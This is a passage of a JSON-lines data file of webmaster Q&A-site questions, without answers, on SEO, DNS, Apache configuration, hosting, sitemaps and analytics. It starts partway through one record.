are just in the gmail outbox). Is it possible to set this one somehow? It would be a big advantage for this method. ### 2. Mail forwarding * * * * There won't be any real e-mail account on the domain, just set of rules where to redirect incoming messages (to person's OWN mail addresses) * Create one real e-mail account on each domain for SMTP authentication **+** Easy to setup **+** Won't take any space on domain-hosting **-** The e-mails are only at person's OWN e-mail accounts so if they walk away from the project, it can be hard to get important e-mails back - also hard to transfer to someone else * * * Is there any other drawback on of each of those? Which one is a more common way to do? What am I missing there in the long run?"}
{"id":"64735","title":"Store a formula in a table and use the formula in a javascript\/PHP function","text":"I have a MySql database where part of it handles instrument's depth of water. Each instrument has its own formula of calculation how depth the water when the operator collect the reading I stored the formula for each instrument in database\/MySql. **Example formula** : `[55-57]` this is the simple minus operation, where the number is actually represent the id of a row. How do I represent those number with id of a row and later convert it to javascript readable code. I simply want to do keyup event where everytime user key in something into text field then the other part of HTML would reflect changes based on formula that I fetched from database FYI, I'm using BackboneJS together with RequireJS"}
{"id":"10939","title":"Alternative to CPanel","text":"I want to develop software and host it on a website. I am considering purchasing a VPS from Linode to store the source code; however it does not provide CPanel (what I used to configure my webspace on shared hosts when building websites). Is there an alternative to CPanel or would it be worth hosting the website for the product on a shared host that provides CPanel?"}
{"id":"50050","title":"How do I block a user-agent from Apache","text":"How do I realize a UA string block by regular expression in the config files of my Apache webserver? For example: if I would like to block out all bots from Apache on my debian server, that have the regular expression `\/\\b\\w+[Bb]ot\\b\/` or `\/Spider\/` in their user-agent. Those bots should not be able to see any page on my server and they should not appear neither in the accesslogs nor in the errorlogs. `http:\/\/global-security.blogspot.de\/2009\/06\/how-to-block-robots-before-they- hit.html` supposes to uses `mod_security` for that, but isn't there a simple directive for _http.conf_?"}
{"id":"10936","title":"My site has crashed .. anyone have some info?","text":"I booked a domain name for my website from a hosting provider .I gave the domain name , along with ftp details to a freelancer to develop the site in wordpress . the freelancer developped and he got full payment , and the site and site was working fine ,etc .. From that time , I did not change the admin logging as well as ftp details , this means that such info is still known to the freelancer .. A week ago , I found that some links in my site was not working .. I sent him a mail about this , and he said that he will fix it if i give him ftp details . and I did so , next I found that the entire site is gone . then he sent me a mail , without I asked him , and he he said that there have been someone who got access to my server , and he removed all files of my site and he installed drupal instead .and that he can rebuild the site in one day , by charging a full fee of 250 usd again .. Can anyone know what I can do in this situation , to find who did such act , could it be the host provider or that freelancer ,, and if there is a possibility to have my site back top the server .. I will appreciate any info on this.. Regards , Thanks"}
{"id":"32353","title":"Posting a link to our page on facebook doesn't resolve correctly within FB","text":"We have a product page, there is a javascript popup that requires users to enter an email address to gain access. But the page behind the popup is fully rendered (for SEO value and such). https:\/\/www.frugg.com\/bags\/deal\/32\/coach-hot-lime-summer-bag But when I try to share this page in facebook (paste it into a status update) facebook tries to reference our FB fan page: http:\/\/www.facebook.com\/frugg. I'm trying to figure out why it doesn't handle the link like normal (e.g. a picture to the product and linking to our website). Here's what facebook shows as the link when I paste that above URL into a FB status update. Frugg - Las Vegas, NV - Website | Facebook https:\/\/www.facebook.com\/frugg Frugg, Las Vegas, NV. 39,522 likes · 4 talking about this · 19 were here Any ideas where to look? The only guess I have is that the javascript popup is interfering, but I wouldn't imagine that the FB crawler cares about javascript."}
{"id":"9085","title":"Should page contents same all time for SEO?","text":"> **Possible Duplicate:** > Should page contents same all time for SEO? Hi, I have a frequently updated website. That's why page contents change frequently. I mean the items that are on 1'st page become on 2'nd page a day after. Similarly 192'nd page which is my last page becomes 193'rd page a day after. So Google finds different content on a specific page than its previous visit. Is it bad for SEO? What you think about it?"}
{"id":"16996","title":"Maximum domain name length","text":"Out of curiosity, does anyone know what's the **maximum length (in characters) for a domain name?** Let's exclude the `http:\/\/www`. I know the maximum length of an url is about 2000 chars. But here I'm more ineterested in just the domain part or the url. On Wikipedia they say: \"The full domain name may not exceed a total length of 253 characters in its external dotted-label specification.\" But what does that mean?"}
{"id":"55958","title":"How to prevent negative SEO?","text":"Negative SEO can harm your website rankings, that's why a rival might decide to use negative SEO techniques against you to try to penalize your website rankings, and thus obtain higher positions on Google Search results than you. How can you prevent negative SEO prior to being attacked by a rival? Are there some special things you can do?"}
{"id":"16990","title":"Looking for a mailing list system with click tracking capability ","text":"we are looking for a mail system with the ability to know it a client has visited the link. Our idea is to prepare a mail for a certain group of customers, on that mail we will include a url to our proposal\/video\/whatsoever . We would like to acknowledge if the customer has clicked the link. Is that possible? thanks."}
{"id":"9111","title":"is it ok to have 2 sitemaps on 1 website?","text":"Do I have to have a sitemap page on my index page for bots to read it or can I just have it anywhere on my server? I have a phpbb\/wordpress integration and I need 2 sitemaps mods for each one (or I need to have them somehow integrated together into one xml sitemap). Is this possible? Whats my best option? I would have the phpbb one something like this: http:\/\/www.example.com\/phpbb\/sitemap.html and the wordpress one something like this: http:\/\/www.example.com\/wordpress\/sitemap.html and then I would submit both off..but not have the links on my footer to confuse anyone.., the sitemaps would strictly be for search engines. Is this a good idea? what are you thoughts?"}
{"id":"9110","title":"Planet feed aggregator for django","text":"We are looking for a way to integrate a feed aggregator (like a planet, which takes a set of rss\/atom feeds and posts the latest _N_ feed items) into a Django site. Ideally, the planet should integrate as part of a page of the site as a whole, rather than a standalone page like all other plants I've seen. We could use an iframe, but then style won't match. The best way might be something that just returns a raw list of last _N_ feed items, which we then insert into a template. Does anyone have any suggestions of how we can achieve this?"}
{"id":"9112","title":"where is trac.ini?","text":"I have setup trac with dreamhost one-click install, I read doc it says config is in trac.ini but can't see any under trac dir so where is it ? I have no conf dir ONLY admin, db, htdocs, prefs, etc... Is this the right forum or should I ask on server maybe ?"}
{"id":"57027","title":"Should I use \"Disallow\", \"NoFollow\", or \"NoIndex\" for paginated listing pages?","text":"I own a web site which has mainly two types of pages: * Content pages: they are pretty much static, and link to the previous and next content page (chronologically). The structure is that of a double linked list. * Listing pages: they are dynamic, and are paginated. The first one shows the most recent content. Older content is paginated via a GET parameter (e.g ?page=4). Every listing page links to several content pages. Google is indexing some of the listing pages, which will most likely be outdated when the users find them (new content is added at a pretty fast rate). This is undesirable, of course. Also, listing pages have extracts of the content, which could be seen as repeated content from Google's point of view (which I think is also undesirable, I'm unsure on this). The problem is, there are hundreds of thousands of content pages. Listing pages are very convenient both for visitors and for search engines to crawl the site. I am unsure if the linked list of content pages will be sufficient to allow search engines to crawl the site in a short time. I have thought about the following options: * Add `Disallow: \/?page*` to _robots.txt_ : listing pages (other than the first one) won't be accessed. * Add meta `nofollow` to listing pages: similar to the first one, listing pages won't be accessed. * Add meta `noindex` to listing pages: they will be accesses, but not added to the index * Leave things as they are: eventually search engines will realize the 'page' parameter is for pagination, and won't index it. What are your suggestions? Adding the NoIndex meta to listing pages sounds like the best solution to me, but I don't dare approach such a large task without asking first :) Any other possible solutions I didn't think of?"}
{"id":"16995","title":"How to identlfy unused css selectors and rules for css pages which cover multiple pages and are installed locally?","text":"I'm looking for a tool which would be able to identify unused and\/or duplicate css selectors and rules, with the following two restrictions: * The tool would have to be able to analyze css pages which are used for many HTML pages, so a tool like Dust-Me won't help. * The tool should also work on a local installation, because I'd also like to be able to check my css at development stage. This would rule out online css verifiers."}
{"id":"57537","title":"Can hreflang be used for city-specific content?","text":"I know that I can use `hreflang` for country specific content in order to avoid duplicate content, but what about _city_ or _state_ specific content? Is that possible, and if not, how do I deal with it?"}
{"id":"57536","title":"How many XML sitemap can generate for one site and is it hammer to SEO ranking?","text":"How many XML sitemap can generate for one site and is it hammer to SEO ranking?"}
{"id":"12286","title":"Issues trying to run PHP4 alongside PHP5","text":"I’m trying to get PHP4 running under CGI alongside PHP5 as a module in Apache. Long story short, I have some legacy applications that aren’t running under PHP5 and they would take a while to rewrite, so short term I should hopefully be able to run both PHP versions for now. Most of the sites I’ve come across state that running one version as CGI and another as an Apache module is the best way to go about this. I’m pretty sure I have my httpd.conf setup properly as I’m no longer receiving “file not found” errors in my logs. Posting changes below for reference: AddHandler php4-script .php4 Action php4-script \"\/cgi-bin\/php4\" … ScriptAlias \/cgi-bin\/ \"\/opt\/lampp\/cgi-bin\/\" My current error is “Premature end of script headers: php4”. I’ve tried some diagnosis that I found here. If I run `cgi-bin\/php4 htdocs\/test.php4` from the command prompt (where test.php4 is a simple `echo phpinfo()`), I get all the phpinfo data on screen, but no HTML formatting. I tried setting the PATH_TRANSLATE variable as the above link mentions and running cgi-bin\/php4 but I never got any output doing that, possible issue could be this. Also I’ve checked and rechecked all my file permissions and everything looks good there. Any other thoughts as to what I could be missing? Other option is to run another Apache instance on a different port, tried this at first but it started to get a bit messy, though I may have to revert to this."}
{"id":"12280","title":"Connect with Facebook button, Gowalla's style","text":"I am searching for over an hour for a Connect with Facebook button that is similar to the one Gowalla is using (link) Any help would be appreciated!"}
{"id":"12282","title":"CSS development tools for Linux","text":"What are some CSS editors and development tools available for the Linux operating system? I'm using `vim` for everything. Are there some things you would recommend to do rather in another editor because `vim` does not support them or it's unproductive? Or is vim absolutely suitable for editing CSS, you use it and know some good plugins or features? thank you"}
{"id":"16442","title":"which URL should I chose for mobile?","text":"I was looking everywhere (as well as on Google's blog) and could not find a straight answer to this question: which URL is the best for mobile from an SEO perspective? Is there a difference between: m.company.com company.com\/mobile etc... Thanks!"}
{"id":"21154","title":"How to use the easySlicer plugin?","text":"I have installed the easySlicer plugin as well as the required E.A.S.E plugin in my TiddlyWiki (Version 2.6.4). I installed the plugins manually by copying the source-code and addind the `systemConfig`-tag. They are enabled, and everything seems fine, except that I see no effect whatsoever. Since there is no documentation I can find, can someone tell me what I might be doing wrong?"}
{"id":"21155","title":"seo and php get variables","text":"I'm building my own blogging system for my own website. If all I preload them using php get variables, will Google recognize and index them as different pages or do I need to do something in addition to get Google to recognize and index them separately? i.e `page.php?blogId=00001&blogTitle=BlogTitle`"}
{"id":"16446","title":"software for mapping links for site migration?","text":"I have a project where I am migrating a website from one platform to another, but the look and feel will still be the same (this is for standardization within an organization). Through re-write rules, I have to maintain any of the links which someone could have bookmarked. The practical implication is that I have to inventory every link and make sure it goes to the right place on the new site. Since there are often multiple paths to the same pages, I've found that site mapping software that do a hierarchical tree aren't giving me everything I need. The ones I've tried so far just show me the first, shortest path that landed them on that page. What I want to see is the inter-connectedness of the site -- if 5 pages all link to the sales page, I want to see that. Is there a site-mapping software, preferably open source, what will show me the 'many-to-many' relationship of the site's pages, rather than the 'parent- child' hierarchy of navigation?"}
{"id":"16444","title":"Can I host www.example.com\/subpage on different machine?","text":"If I am the owner of www.example.com that is hosted on one machine, is it technically possible to host www.example.com\/subpage on different machine, with different IP?"}
{"id":"51287","title":"Google Webmaster Tools returning 404s for pages that exist","text":"I logged in to GWT today just to see how things are going. It is showing a bunch of 404 errors for pages that exist. I checked the server response and got: `SERVER RESPONSE: HTTP\/1.1 200 OK`. These pages are all `nofollow`. Has anyone noticed GWT throwing up 404 errors for pages that exist?"}
{"id":"34528","title":"SEO to ensure visibility for a narrow, non-competitive, non-commercial site","text":"I'm webmaster of a non-commercial site in English. A non-native-English speaker asked me why our site doesn't produce hits in Google searches she conducts for relevant keywords in her native language. I asked her for a list of keywords in her native language, and I naively tried inserting those into the META info in the page headers and waited a couple of weeks. No help. A little searching informed me that Google doesn't use the META info, and has not done so for a very long time. D'oh! To be entirely concrete, suppose the StackExchange folks want Russian speakers to find this site, Pro Webmasters. The direct translation in Russian of \"webmaster\" --thanks, Google Translator-- is: \"вебмастер\". (Not sure this will render properly, but that's not essential to my question.) Assuming Pro Webmasters has a common template for all pages it generates, inserting \"вебмастер\" into the Keywords META for that template won't help, it seems. What could StackExchange do to make this site visible to users searching with the Russian keyword \"вебмастер\" ? Pretty much all the advice I've seen boils down to this, if I understand correctly: use the desired search term often (but not too often) among site content, and the problem will be solved. That's great, but I don't think sprinkling \"вебмастер\" visibly all over Pro Webmasters is going to fly. Just for completeness, crawlers must be long immune to the invisible-to- visitors scheme, e.g, format \"вебмастер\" in a tiny text size in a color the same as an existing background, e.g. white-over-white. Or, put that text inside a div styled: ' style=\"visibility: hidden\" '. Probably some other equivalents. I can only think of one slightly effective method, along these lines: place an unobtrusive link on the common template to a page titled \"for international users\" , and on that page list desired synonyms for \"webmaster\" in various languages on that page. A test case --admittedly, just one-- using my site implies that a Google search for \"international users\" вебмастер will produce a hit for this page, and thus make the site minimally visible, despite the fact that the page will almost never be visited. At the moment, anyway. Note: All the SEO discussions I have found so far are about competitive and --almost certainly-- commercial sites. To repeat: my site is non-commercial, and it is about an obscure, narrow topic that is of interest to only a small number of people worldwide. This isn't about clawing our way to the top of competitive rankings, just making this content minimally visible to interested non-native-English speakers. Ideas? TIA"}
{"id":"48677","title":"Using Google Analytics (or similar service) to track access to offline HTML files?","text":"Is it possible to add code to a **static** , local HTML file on my computer, so that whenever I open the local file with a web browser (`file:\/\/\/C\/Users\/...`), and assuming that the computer is connected to the Internet, my access will be tracked using Google Analytics or a similar service?"}
{"id":"67163","title":"Google pre-rendering causing double and triple events","text":"Is it possible to detect google chrome and firefox prerendering on the server side, or in .htaccess, and defer the prerendering for the purpose of monitoring traffic and website events, or do I need to move my website event tracking into javascript. =\/ I am using laravel and angular js."}
{"id":"26109","title":"Identical blurb at end of each blog post - bad for SEO?","text":"At the end of every blog post in a series (50-100 posts), I want to write something akin to \"Like always, email me for help...\" (about 25-50 words). I also hear that duplicate content is an SEO sin. I figure that I can have an AJAX script load this at the end of every post, but that feels like overkill. Is there a way to tag a section to not be considered as \"part of the document\", (i.e. to not cause problems if repeated on many pages)? Alternatively, is there a different solution to this?"}
{"id":"26104","title":"How do I create a .htaccess file that would make my website work like Adfly","text":"I need, but don't know how to make, an _htaccess_ file that will send a user, when looking for the home page, to _index.php_. It should not send them anywhere when they look for a URL like `\/7fg4\/`. Adfly, to the best of my knowledge, works like this: you make a link, it stores the shortened link. When the user tries to open the link the _htaccess_ file sends them the contents of another file which reads the URL and proceeds accordingly. My website should work almost exactly as Adfly does. Can anyone explain or write an _htaccess_ file that would do this?"}
{"id":"26100","title":"Drupal Blog vs. WordPress Blog for a Drupal Website?","text":"Is there a blog of preference for SEO, when it comes down to Drupal websites. I ask as WordPress seems to have the better plug-ins, though may not integrate as well. Any thoughts on this? I am asking from primarily a SEO perspective though also a design one as well. In other words, there are so many fabulous blog templates in WordPress and not sure if there are in Drupal. I seem to be having a struggle finding Drupal blogs to purchase, such as premium blogs."}
{"id":"42285","title":"Using google analytics goals to optimise goals in adwords","text":"We have set up goals in analytics to do with time on site, we also have an adwords campaign running, i noticed in adwords you can set up a conversion in adwords. But this only works by putting code into a 'thank you' page that the user sees when they have completed an action. I was wandering if you can set up in adwords a conversion being a certain time on site ?"}
{"id":"54646","title":"Point subdomain to another web hosting","text":"I bought a domain from GoDaddy. Let's call this domain `abc.com`. I've a hosting account at web hosting A with `abc.com` as my primary domain. I created a sub-domain `pic.abc.com` and I wish it to be pointed to my _new_ hosting account. This web hosting B also uses `abc.com` as the primary domain. The main purpose of doing this is because I only want to use web hosting B to host my `pic.abc.com` contents. That's all. Other content from `*.abc.com` and `abc.com` will be remain at web hosting A. How to do this? Additional notes... 1. I tried to add `pic.abc.com` as an add-on domain to my web hosting B account. Unfortunately, I couldn't do that. 2. I also tried to use URL forwarding method using DNS management service like DNS Social. It doesn't work. 3. I'm using WordPress on the `pic.abc.com` site. Both web hosting A and B running cPanel - Apache servers (shared hosting)."}
{"id":"21486","title":"CMS that allow pdf to be view online (not download into the computer)","text":"Is there any CMS that allow user to view the pdf file on the CMS instead of downloading them into the computer and open using a PDF viewer? I notice that the CMS I encounter usually require user to download the pdf file to the computer and open it using a PDF viewer."}
{"id":"14957","title":"What's the practical difference between dedicated and virtual private servers?","text":"I understand the physical differences but in a practical sense, what will be the differences? Speed? I understand that I have full control over a virtual private server in a software aspect as with dedicated servers - what then is the difference from my point of view? Surely VPS's are easier to upgrade. Why are they always so much cheaper for the same specs?"}
{"id":"14954","title":"Should I patent a web application before launching it?","text":"While discussing a website idea I had with friends and worked on it, they told me to be wary of theft regarding the website. Since the code I'd be working on would be mostly JavaScript and HTML, the likelihood of theft is quite high. Furthermore, if I'm lucky, the idea I have would be a breakthrough when it comes to being useful. So, you can see the problem here: I would be developing an application that's easily stolen, and unfortunately an application that companies larger than myself would want to provide. I'm also unsure if this idea has already been patented. I realize patent law is murky, as in you can create a vague patent and still claim others are violating it. So, I'd like to search existing patents for one that may be relevant to my idea, and I'd like to patent it in the meantime. Does anyone have any experience regarding this? Should I invite a lawyer into the mix?"}
{"id":"8530","title":"Is there a way of listing files for a directory if it contains index.html?","text":"On my server (over which I have little control), directories are listed by default, so for `mysite.com\/images` I get: > **Index of \/images** > > Parent Directory > BirdsAreHere.png > CanYouSpot-AdBlank.jpg etc. Is putting an index.html in that directory enough to prevent people listing the files, or is there still a way of getting at that list? Is it the same for my web root directory (`mysite.com`)?"}
{"id":"66974","title":"IIS Reverse Proxy Failing on .svc pages and some other pages, works fine for plain html","text":"Software situation: I have a public facing IIS site which needs to communicate to another site through a reverse proxy server. The other site is a SOAP API, with a couple of pages that assist in configuration of it. I'm using IIS URL Rewrite, and it is working fine for plain html pages, but it fails on come other pages. Some pages fail with HTTP Error 404.8 - Not Found The request filtering module is configured to deny a path in the URL that contains a hiddenSegment section. Others fail with simple 404. If I go to the URL directly from the proxy server it all works fine. Currently I am proxying from localhost:8080 to [remote ip]. My inbound rule is: (.*) and rewrites to 'http:\/\/[remoteip]\/{R:1}' Outbound rule is: pattern (.*), match content within A, Form, Img. Action, rewrite {R:1} What do I need to do to get the SOAP API working over remote proxy using IIS?"}
{"id":"22939","title":"Redirect subdomain on tripod","text":"I have an old subdomain on tripod which I'd like to redirect (301) to my new domain. They don't seem to offer redirection for subdomain even with a subscription. Has anyone had any luck permanently (301) redirecting a subdomain on tripod to a new domain? Should I do a \"link rel canonical\" to point to the new site together with a meta refresh redirect?"}
{"id":"14952","title":"Static pages for large photo album","text":"I'm looking for advice on software for managing a largish photo album for a website. 2000+ pictures, one-time drop (probably). I normally use MarginalHack's album, which does what I want: pre-generate thumbnails and HTML for the pictures, so I can serve without needing a dynamic run-time, so there's less attack surface to worry about. However, it doesn't handle pagination or the like, so it's unwieldy for this case. This is a one-time drop for pictures from a wedding, with a shared usercode\/password for distribution to the guests; I don't wish to put the pictures in a third-party hosting environment. I don't wish to use PHP, simply because that's another run-time to worry about, I might relent and use something dynamic if it's Python or Perl based (as I can maintain things written in those). I currently have: Apache serving static files, Album-generated, some sub- directories to divide up the content to be a little more manageable. Something like Album but with pagination already handled would be great, but I'm willing to have something a little more dynamic, if it lets people comment or caption and store the extra data in something like an sqlite DB. I'd want something light-weight, not a full-blown CMS with security updates every three months. I don't want to upload pictures of other peoples' children into a third-party free service where I don't know what the revenue model is. (For my site: revenue is none, costs out of pocket). Existing server hosting is *nix, Apache, some WSGI. Client-side I have MacOS. Any advice?"}
{"id":"20446","title":"Anchor tag inside <h1> or <h1> inside achor tag: which is better?","text":"I am trying to use `<h1>` tags on my blog for the post title and came across one problem. Title is hyperlinked. Case 1: <h1> <a href=\"\"> xyz <\/a> <\/h1> case 2: <a href=\"\"> <h1> xyz<\/h1> <\/a> Which one is better in terms of SEO?"}
{"id":"39509","title":"Should I link the main article heading?","text":"> **Possible Duplicate:** > Anchor tag inside H1 or H1 inside achor tag : Which is better? > Why, on StackExchange sites, is the post title on the question page a link > to itself? Assuming, that I have an article page: http:\/\/example.com\/articles\/article-title with the main content like: <h2 id=\"main\">Article title<\/h2> **Regarding the SEO and semantic reasons, should I wrap the H2 tag\/content in link?** e.g. <h2 id=\"main\"><a href=\"\/articles\/article-title\" title=\"Article title content\">Article title<\/a><h2> or this way: <a href=\"\/articles\/article-title\" title=\"Article title content\"><h2 id=\"main\">Article title<h2><\/a> (the `H1` in this particular case is reserved for the topic of the whole website, and linked to the home page.) As for the end user, clicking this link seems pointless, as this would just do a page refresh. But I sill see those headings linked all around."}
{"id":"23917","title":"Why, on StackExchange sites, is the post title on the question page a link to itself?","text":"It may look like a question for meta.stackoverflow.com, but I'd like to know if this decision has something to do with SEO or if this improve the user experience somehow. It's a link to the same page you are, so I don't see the usefulness of this. On Quora, for exemple, on the question page, the question title is not a link."}
{"id":"3418","title":"How should I deal with a 'Contact Us' Form?","text":"Often you'll see websites with a \"For any questions, please contact us...\" followed by a box for your name, email, subject, maybe some invoice data... When should these be implemented on a website? Are there any statistics out there on use of these? What are some alternatives?"}
{"id":"55635","title":"How to set restrictions on my website?","text":"Currently my website is under maintenance. I want to be the only person who's able to access\/view the website online until I finish maintenance. How to set restrictions to others ? I hate stalkers."}
{"id":"11772","title":"What determines the order of results for Google Places?","text":"I have a website that when you search for the key terms in Google, comes up first in the list. However, just above it in the Google Places section, it comes in second in the list. Does Google Places have its own optimization techniques?"}
{"id":"38463","title":"Dedicated domain name VS just folders under a single domain","text":"I run WordPress-Multisite for several sites. Each of these sites resolve under a single domain, e.g. example.com\/foo\/, example.com\/bar\/. I also have domain names for these e.g. foo.com, bar.com which are currently redirects, so if a user hits foo.com, they are redirected (301) to example.com\/foo\/. My question is, should it be the other way around? Should I use the dedicated domain names directly? What are the pros\/cons of putting multiple sites under a single domain vs their own dedicated domains? I guess I'm asking with SEO and findability in mind."}
{"id":"59160","title":"how to send and display data from one domain to another?","text":"I have my portal on asp.net, my friend have on php. He wants to me to return text data from my database by sending parameter and wants to display it on his portal. I have given him url say abc.com?id=1 for receiving text data. How can he display data returned from abc.com?id=1 on his portal with say \"innerhtml\" in javascript."}
{"id":"11657","title":"Absolute vs relative links","text":"Our site's navigation links are currently in relative form: <a href=\"\/section\"> The SEO company I mentioned in my previous question recommends we change them to absolute links: <a href=\"http:\/\/www.ourpage.com\/section\"> This is to \"ensure search engines get the correct and working URL for the pages\". Is this really something that should be taken into account or is this another case of extra work with no added benefit?"}
{"id":"15290","title":"Does it matter that our website can't be found without the www?","text":"If you try and go to our website **without** typing the www. You get a page not found error. In my case it goes to a Yahoo 404 page where the website you typed is not even shown in the search results. My question is how important is it that customers cannot type this manually? I guess that google etc will just spider the www version and so it will show in the search results in the same manner. Also what is the reason why some websites can be found without the www and some not?"}
{"id":"30490","title":"Is redirecting mydomain.eu & mydomain.net to mydomain.com using .htaccess spammy?","text":"A client has asked me to develop their site - they already own 3 domains, `mydomain.eu`, `.net` and `.com`. They want all the traffic from `.eu` and `.net` to redirect to `.com`. I've explained to them that it is not that relevant as people will search for them in search engines rather than typing in the domain, but they still would like me to do it. As far as I know this is fine to do from an SEO point of view but I thought I'd just double check."}
{"id":"4860","title":"Photoshop Elements 9 VS Paintshop Photo Pro X3 For Web Design","text":"I need a good image creation program for web design. I have downloaded both Elements 9 and Paintshop X3. So far I have found them both to be great programs. X3 seems like it has a lot of features, Elements seems like it's quite easy and stable to use. I think I'm going to go with Elements, but I wanted to get other opinions. Which program do you guys like better overall? What things do you think they lack for image creation\/editing pertaining to web design, or what features do they have that are great for it? Thanks!"}
{"id":"10668","title":"Website Design; SEO Dilemma","text":"Okay so I designed a website for a restaurant and the design is aimed mostly to entice the viewer by using images of the restaurant's platters and foods. Not to say that text is totally non-existent but the design makes it hard to have enough keywords. Most keywords are found in the ALT attribute of image tags and a couple of headers. The reason as to why I am in this dilemma? I'm still new to web development and at the time I made the design, I didn't really know much about SEO. So I come here in search of help because I have an idea... **Would it be good practice to have hidden SPAN blocks that would help me fill with keywords?** For example a hidden SPAN would have text in bold to help with SEO. Of course, I will play it safe and not exploit this technique if it works. I have searched that this may be considered spamming by search engines and some companies are taking measures to prevent this. Thanks in advance!"}
{"id":"18481","title":"HTML special character (glyph) looking not the same in different browsers","text":"I am using an html crown in my website, character code is `♛`, but this looks different in the browsers. Firefox 6.0 -> different Chrome 13.0 -> different IE 9.0, Safari 5.1, Opera 11.50 -> same I have tried to explicit add a font-family to the span, but this does not help. Anyone have an idea how I can get this the same in the browsers. Check this post in differnt browsers and see how the char (glyph) changes. **♛**"}
{"id":"33485","title":"Optimizing (reducing) web font requests","text":"My homepage currently uses 5 web fonts--I'd like it to be 6 due to spotty support for Helvetica Neue. One of the fonts is 'FontAwesome' icons, the other 4 are only used for a word or two (i.e. I have a heading that reads \"Optimization\" written in letters that look like an old computer). 2 of these fonts are available through Google and I request only the letters needed (and that works great). However, the other 2 are from openfontlibrary.org, and are only available in a single format. Which isn't a big deal (I'll need them securely anyway so local copies are better), a quickie with the Fontsquirrel.com @font-face generator and I have them in multiple formats, and the CSS to boot. And then I test my page load time...ugh. I assume it would be possible for me to subset my local copies, anybody have have experience in this area?"}
{"id":"18487","title":"Is there a high-load chat software \/ script out there?","text":"We're in development of a website and we're looking into other options than just developing a chat engine ourselves. We've looked at CometChat and ArrowChat. Which look and seem to be great except that it uses PHP\/MySQL. They offer to host your chat server which can handle 100,000+ but honestly we'd like to be hosting it on our own servers and handle way more than that. Know of any alternatives? We're looking for that Meebo\/Facebook\/CometChat\/ArrowChat look and style but it needs to be fully customizable."}
{"id":"14108","title":"Dealing with broken links and dead pages on search engines","text":"I recently had to reconstruct the way my website runs. Along with that I have to change the way my urls are formatted. My website is not terribly popular (hoping changes will fix that) but I do have 500+ pages indexed on just Google. My question is should I\/can I do anything about removing these dead pages from Google and other search engines? What should I do about backlinks?"}
{"id":"44924","title":"HTML Template Designs - Alternatives to Theme Forest","text":"I'm looking to build a new corporate website using a ready made HTML theme so that I can focus on the business logic rather than on the presentation. Any recommendations for websites similar and alternative to Theme Forset?"}
{"id":"17715","title":"duplicate content penalties for cross posting?","text":"I have a blog (xyious.blogspot.com) and a website (xyious.com), i'm developing a tiny cms system for my website while posting some content. I always post the new content to my blog as well as the website for several reasons. Now i'm wondering how badly i will be penalized for duplicate content. The website is older than the blog, but never had a whole lot of content, and i obviously want my website to rank higher than the blog in the future when i stop posting on the blog in favor of having a website hosting all the content. Do i incur duplicate content penalty, and if so how severe ? Would it be better to stop posting to the blog altogether before the cms is in a state where it displays content correctly and has easy navigation ?"}
{"id":"68771","title":"What should I do after changing DNS records and my site is not resolving?","text":"My domain is not resolving after updating its DNS records 10 hours ago. I bought the domain from GoDaddy and hosted it on a different server. They guided me to alter two domain entries: the first is an IP address, and the second is `ab.example.com`. When I go to `example.com`, it is giving me the following error: `Webpage is unavailable`. Pinging my website ends up with a timed out error and 100% loss for 4 packets. It may be that I changed the nameservers three times in the last hour because of mistakes in the name. After that I set the nameservers to the default (`NS77.DOMAINCONTROL.COM` and `NS78.DOMAINCONTROL.COM`), and changed the `A` host record and `CNAME` alias as directed."}
{"id":"61250","title":"Question about name server propagation","text":"I just did an overhaul of my company's website and changed the hosting provider, and it's probably been about 36-48 hours since I changed the pointers at my registrar to the new name servers. I have noticed some very strange behavior at my office, where we have a Windows Server domain-based LAN-- in particular, with two computers sitting next to one another, one pulls up the new site and the other does not--after repeatedly clearing the cache, resetting\/flushing via ipconfig, trying different browsers, etc.--which is baffling to me. I was testing the site on someone's phone, and pulling up the site via the in-house wi-fi connection brought up the old version, while switching to his phone's LTE data connection pulled up the new one. What exactly is going on here? Clearly those computers pulling up the old version of the site are referencing the old DNS pointers that link to the old hosting provider, but how could this vary from machine to machine on the same network? Thanks for any clarification here."}
{"id":"17713","title":"crowd funding platform?","text":"I have been searching for days. Is there a good crowd funding framework that I could use as the base for a project? Something like a kickstarter clone in Ruby on Rails or PHP? There are one or two out there, but they look terrible."}
{"id":"67892","title":"Google Analytics Audience Geo view: Can I have map that labels places with no sessions like those with sessions?","text":"Looking at audience-geo-location I can view a map of the world by nation. I can mouse over the shaded nations from which 'sessions' arose to obtain a count and the name of the nation. However, for the grey nations (those without sessions) a mouse-over doesn't show the country name. The same would apply to U.S. states. It would be very good to have a list of these places so that I could make an effort there to attract visitors. If not on the map view, is there a way to include places with no sessions in the list of places. Knowing where visitors are is nice but knowing about places without visitors is also important. Am I missing something?"}
{"id":"54649","title":"Will Page Rank affect if we delete index.php from URL?","text":"Suppose a website having page rank 3 and it contains index.php in all its urls like below and their page rank www.xyz.com\/index.php\/about-us Page rank 2 www.xyz.com\/index.php\/services Page rank 2 . . and so on. So if we remove \"index.php\" now, will it affect in SEO page rank and search results? Thanks in advance."}
{"id":"44815","title":"I want to use gzip compression in Apache","text":"I want to enable gzip compression for acethehimalaya.com. Can anybody please tell me what is the best way of achieving compression in an Apache Webserver?"}
{"id":"13154","title":"apache rewrite .htaccess google adwords gclid","text":"I've got an url coming in as: \/index.php?\/location\/&gclid=287ejek22kj This is going to a 404 page because of the gclid... I need it to go to: \/index.php?\/location I've tried this, with no success: RewriteEngine On RewriteBase \/ RewriteRule ^(.*)&gclid=(.*)$ $1 [L] All help is appreciated. Thanks."}
{"id":"37655","title":"Website Remodel Redirects","text":"We've recently built a site for a new client who has not inserted all the content that they had from their old site into their new one. Also a lot of content is dynamic with ID's not matching from the old site to the new one. We have added dynamic redirects for most of the patterns we could find in pages that were 404ing, but there are still a lot of pages that had content, or just jumbled urls that we cannot match up with content pages on the new site. Is it better to redirect these leftover pages to the homepage? Or leave them 404ing?"}
{"id":"13159","title":"Bing vs google advertising","text":"is it worth while to advertise using Bing's adcenter if I already have google's adwords?"}
{"id":"20686","title":"Can I point a CNAME to a subpage on Google Sites?","text":"Simple question: I followed the instructions and now I have a CNAME pointing `www.mydomain.com` to my Google Sites site. I want to add another, pointing `mike.mydomain.com` to `https:\/\/sites.google.com\/site\/subpages\/mike`, `dave.mydomain.com` to ...`\/dave` etc. Is this possible? If so, where do I configure it in Google Sites? Comment: using site forwarding is not applicable here, since I'd like to have several subdomains."}
